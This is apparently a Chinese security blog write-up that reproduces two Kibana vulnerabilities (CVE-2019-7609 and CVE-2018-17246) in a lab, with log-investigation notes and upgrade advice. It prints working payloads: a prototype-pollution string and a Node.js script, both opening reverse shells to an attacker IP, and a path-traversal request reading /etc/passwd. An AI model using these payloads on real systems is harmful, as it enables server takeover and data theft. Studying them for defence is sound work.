注:本文仅分享个人漏洞复现及排查,请勿用于非法途径。
Kibana是一个开源的分析与可视化平台,设计出来用于和Elasticsearch一起使用的。你可以用kibana搜索、查看存放在Elasticsearch中的数据。Kibana与Elasticsearch的交互方式是各种不同的图表、表格、地图等,直观的展示数据,从而达到高级的数据分析与可视化的目的。
Elasticsearch、Logstash和Kibana这三个技术就是我们常说的ELK技术栈,可以说这三个技术的组合是大数据领域中一个很巧妙的设计。一种很典型的MVC思想,模型持久层,视图层和控制层。Logstash担任控制层的角色,负责搜集和过滤数据。Elasticsearch担任数据持久层的角色,负责储存数据。而我们这章的主题Kibana担任视图层角色,拥有各种维度的查询和分析,并使用图形化的界面展示存放在Elasticsearch中的数据。
CVE-2019-7609 Kibana远程代码执行漏洞
概述
攻击者利用漏洞可以通过Timelion组件中的JavaScript原型链污染攻击,向Kibana发起相关请求,从而接管所在服务器,在服务器上执行任意命令
影响版本
Kibana < 6.6.1
Kibana < 5.6.15
复现过程
使用vulhub环境,报如下错误


输入如下命令,重启docker即可
sysctl -w vm.max_map_count=262144
漏洞点在Timelion处(名字和Timeline有点像)
直接填入Poc,过程和结果如图:
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i &> /dev/tcp/IP/端口 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')


应急排查
在docker日志中,可以排查到访问api/timelion/run接口的日志,此日志会记录IP,但是不记录具体的执行内容。

kibana的配置文件为 kibana.yml,默认配置日志文件输出路径为stdout,故无日志文件,详细配置可参考
https://www.elastic.co/guide/en/kibana/current/settings.html
CVE-2018-17246 本地文件包含漏洞
概述
Kibana 为 Elassticsearch 设计的一款开源的视图工具。Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻击、任意文件读取攻击、配合第三方应用反弹SHELL攻击
影响版本
ElasticSearch Kibana < 6.4.3
ElasticSearch Kibana < 5.6.13
复现过程
直接使用vulhub环境
任意文件读取
构造GET请求,服务端回复500错误
/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd

但执行结果在服务端,在docker logs 中可以看到执行成功了

反弹shell
通常情况下Kibana与其他的应用程序一起部署,如果应用程序可以上传或者写入Javascript文件的话,攻击者可以通过Nodejs创建一个Reverse Shell,内容如下:
(function(){ var net = require("net"),cp = require("child_process"),sh = cp.spawn("/bin/sh",[]); var client = new net.Socket(); client.connect(端口,"IP",function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();
把文件你内容拷贝进docker镜像/tmp/test.js下

访问该文件,得到交互shell
http://192.168.52.134:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../tmp/test.js


应急排查
通过docker日志可以看到文件包含的路径,以及请求IP,但是kibana本身是没有记录日志的。

加固建议
升级到安全版本
总结
因为kibana默认是不记录日志的,但是如果是在docker中运行,可以从docker logs中查到相应请求日志,但是没有记录请求内容。
参考链接
https://www.anquanke.com/post/id/168291
http://www.4k8k.xyz/article/xuandao_ahfengren/114579947